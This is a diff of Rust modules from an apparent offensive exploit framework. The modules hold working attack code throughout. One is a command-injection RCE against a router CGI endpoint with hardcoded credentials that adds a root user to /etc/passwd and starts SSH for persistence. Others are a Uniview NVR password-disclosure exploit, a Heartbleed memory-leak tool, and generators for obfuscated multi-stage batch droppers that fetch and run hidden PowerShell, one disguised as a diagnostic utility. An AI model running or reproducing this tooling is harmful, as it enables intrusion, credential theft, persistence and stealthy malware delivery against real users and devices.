/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("[*] MD5 hash of password: {}", hash);
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! You can now SSH in with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
);
Ok(())
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!(" [1] LFI");
println!(" [2] RCE");
println!(" [3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut fp = String::new();
io::stdin().read_line(&mut fp)?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("Enter desired password for new root user: ");
io::stdout().flush()?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd)?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -0,0 +1,122 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
fn normalize_target(raw: &str) -> String {
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
if raw.contains("]:") {
if let Some(idx) = raw.rfind("]:") {
let addr_raw = &raw[..idx];
let port = &raw[idx + 2..];
// strip ALL brackets from the address portion
let addr_inner = addr_raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
return format!("[{}]:{}", addr_inner, port);
}
}
// Otherwise, remove any outer brackets entirely...
let inner = raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
if inner.contains(':') {
format!("[{}]", inner)
} else {
inner
}
}
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Response:\n{}", resp.text().await?);
Ok(())
}
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
// Hash it!
let hash = generate_md5_hash(pass);
println!("[*] Generated MD5 hash: {}", hash);
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute_flow(target).await
}
+9
View File
@@ -0,0 +1,9 @@
pub mod uniview_nvr_pwd_disclosure;
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
// pub mod
@@ -0,0 +1,198 @@
use anyhow::{anyhow, Context, Result};
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
("11","w"), ("4","x"), ("5","y"), ("6","z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
// Split authority vs path
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
// Separate host_part and port_part
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
// IPv6 without brackets
(auth, "")
} else if let Some(pos) = auth.rfind(':') {
// IPv4 or hostname with port
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
// Peel away *all* outer brackets
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
// If it looks like IPv6, re-wrap exactly once
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Normalize URL (scheme, IPv6 brackets, port, path)
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
.send().await?
.text().await
.context("Failed to fetch version")?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
// Prepare log file
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("\n[+] Getting configuration file...");
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
);
let config_text = client
.get(&config_url)
.send().await?
.text().await
.context("Failed to fetch config")?;
// XML reader with trimmed text
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut buf = Vec::new();
let mut total_users = 0;
println!("\nUser | Stored Hash | Reversible Password");
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
loop {
match reader.read_event_into(&mut buf) {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut user_hash = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
buf.clear();
}
println!("\n[+] Total users: {}", total_users);
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
}
+174
View File
@@ -0,0 +1,174 @@
use anyhow::{Context, Result};
use std::fs::File;
use std::io::Write;
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
let raw = target.trim();
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
+1
View File
@@ -0,0 +1 @@
pub mod heartbleed;
+7
View File
@@ -1 +1,8 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod camera;
pub mod router;
pub mod ssh;
pub mod spotube;
+141
View File
@@ -0,0 +1,141 @@
use anyhow::Result;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
io::{self, Write},
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
@@ -0,0 +1,141 @@
use anyhow::Result;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
io::{self, Write},
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod payloadgenbat;
pub mod batgen;
@@ -0,0 +1,146 @@
fn build_script(url: &str, ps1_name: &str) -> String {
let tpl = r#"@echo off
setlocal enabledelayedexpansion
:: === Delay Functions ===
:SleepS
rem Usage: call :SleepS ^<seconds^>
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
rem Usage: call :SleepMS ^<milliseconds^>
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ]
color 0A
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
call :SleepS 2
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog ^>nul
call :SleepS 1
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify ^>nul
call :SleepS 1
echo [INFO] DCOM設定の確認...
dcomcnfg /32 ^>nul
call :SleepS 1
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 ^>nul
call :SleepS 1
echo [INFO] 不審な接続をスキャン中...
netstat -bno ^>nul
route print ^>nul
call :SleepS 1
echo [INFO] システムサービス確認中...
sc queryex type= service ^>nul
call :SleepS 1
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size ^>nul
call :SleepS 1
echo [INFO] CPU 負荷チェック...
wmic cpu get loadpercentage ^>nul
call :SleepS 1
echo [INFO] メモリ空き容量チェック...
systeminfo | findstr /C:"Available Physical Memory" ^>nul
call :SleepS 1
echo [INFO] レジストリ設定検証...
reg query HKLM\SOFTWARE ^>nul
call :SleepS 1
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%RANDOM% %% 60) + 120
call :SleepMS !delay!
)
:: Random delay before launching stage 2
set /a mainDelay=(%RANDOM% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%mainDelay% 秒後に実行)
call :SleepS %mainDelay%
:: Build second stage BAT (stage2.bat)
set "stage2=%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo :: === Delay Functions ===
echo :SleepS
echo rem Usage: call :SleepS ^<seconds^>
echo ping -n %%1 127.0.0.1 ^>nul
echo goto :eof
echo
echo :SleepMS
echo rem Usage: call :SleepMS ^<milliseconds^>
echo powershell -Command "Start-Sleep -Milliseconds %%1" ^>nul
echo goto :eof
echo
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo call :SleepS 2
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(%%RANDOM%% %% 8) + 3
echo call :SleepS !delay2!
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { $wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!','!outfile!') } }"
echo if not exist "!outfile!" (
echo echo [ERROR] ダウンロードに失敗しました。
echo exit /b 1
echo )
echo call :SleepS 2
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell")
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""!outfile!""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo call :SleepS 1
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo del "%%~dp0launch_hidden.vbs" ^>nul
echo del "%%stage2%%" ^>nul
